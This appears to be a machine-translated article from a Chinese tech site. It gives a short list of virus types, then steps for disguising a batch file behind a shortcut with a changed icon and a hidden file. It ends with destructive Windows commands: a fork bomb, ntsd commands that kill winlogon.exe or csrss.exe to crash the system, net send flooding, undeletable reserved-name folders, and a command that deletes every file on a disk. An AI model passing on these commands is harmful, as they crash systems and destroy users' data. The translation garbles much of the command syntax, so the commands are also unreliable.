Shulou(Shulou.com)06/01 Report--

A virus is a program that infects a user's computer by attaching or replacing files. Benign viruses only consume some memory, CPU, and disk space.

File virus: it attaches itself to the executable file

Power-on virus: it puts the virus code on the computer's disk boot sector, so the virus is executed every time the computer is started

Master boot record virus: it infects the first physical sector of the disk

Complex virus: it usually has multiple infection methods

Macro virus: it attaches itself to the macro of a document or template

Create batch processing this time

The first step is to create a new file txt.

Second, change the file suffix

Step 3: create a shortcut

Step 4, add icons to the shortcut

Step 5, rename

Step 6, hide the batch file

1. Batch code that repeatedly executes a command until it crashes:

Start cmd

% 0

2. Copy a file in each subfolder of the disk:

For / r / d an in (*) do copy test.txt "a" / y

3. Keep executing the same order:

For / l% an in do net send 192.168.1.1 "× × is coming!"

4. Crash, blue screen

Ntsd-c Q-pn winlogon.exe (blue screen restart)

Ntsd-c Q-pn csrss.exe (crash)

5. Create a special name folder that cannot be deleted:

Md\\.\ c:\ con

Md\\.\ c:\ aux

6. Create an alternative folder that cannot be double-clicked and opened that cannot be deleted:

Md test..\

Rd test..\ / s / d

7. Log out

Rundll32.exe user32.dll LockWorkStation

8. Delete all files on disk: del * / a / Q / f

9. Create a folder with an empty name: md (hold down the alt key, press 2Magne5 on the keypad, then release Alt and enter)

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